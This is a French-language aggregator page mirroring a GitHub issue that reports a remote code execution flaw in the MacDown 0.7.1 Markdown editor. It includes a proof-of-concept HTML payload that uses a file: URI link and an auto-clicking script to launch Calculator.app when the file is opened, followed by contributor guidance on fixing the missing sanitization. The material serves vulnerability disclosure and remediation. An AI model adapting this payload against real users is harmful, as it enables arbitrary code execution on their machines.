MacDownApp/macdown

Macdown Version 0.7.1 (870) Remote Code Execution

Open

#1 050 ouverte le 28 janv. 2019

Voir sur GitHub
 (7 commentaires) (1 réaction) (0 assignés)Objective-C (930 forks)batch import
help wantedon hold

Métriques du dépôt

Stars
 (7 686 stars)
Métriques de merge PR
 (Aucune PR mergée en 30 j)

Description

Macdown Version 0.7.1 (870) Remote Code Execution

Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS Calculator.app when opened inside of Macdown.

PoC (PoC.md):

<!DOCTYPE html>
<html>
<body>

<a href="file:\\\Applications\Calculator.app" id=exploit download>
  <img src="/images/exploit.jpg" alt="exploit" width="104" height="142">
</a>

<script>
(function download() {
    document.getElementById('exploit').click();
})()
</script>

</body>
</html>

Screenshot:

PoC.md.zip

Guide contributeur

Direction de recherche
Examinez le code de rendu HTML dans Macdown pour trouver où les attributs href des balises d'ancrage sont traités. Tracez comment le schéma d'URI 'file:' est géré et identifiez où la désinfection manque. Implémentez un correctif qui valide ou échappe les schémas d'URI dangereux comme 'file:'.
Stack technique
objective c
Domaine
desktopsecurity
Type d'issue
Sécurité
DifficultéDifficulté estimée pour un nouveau contributeur, de 1 pour un très petit changement à 5 pour un travail expert.
3
Temps estiméFourchette de temps approximative pour investiguer, implémenter, tester et préparer une pull request.
Une demi journée
Statut d'activitéDisponibilité apparente de l'issue : fraîche, active, ancienne, bloquée ou en attente d'un mainteneur.
Active
ClartéClarté avec laquelle l'issue explique le changement attendu, les critères d'acceptation et la prochaine étape.
Claire
Prérequis
Objective CmacOS developmentHTML security
Accessibilité débutantScore de 1 à 100 estimant l'accessibilité de cette issue pour un premier contributeur.
40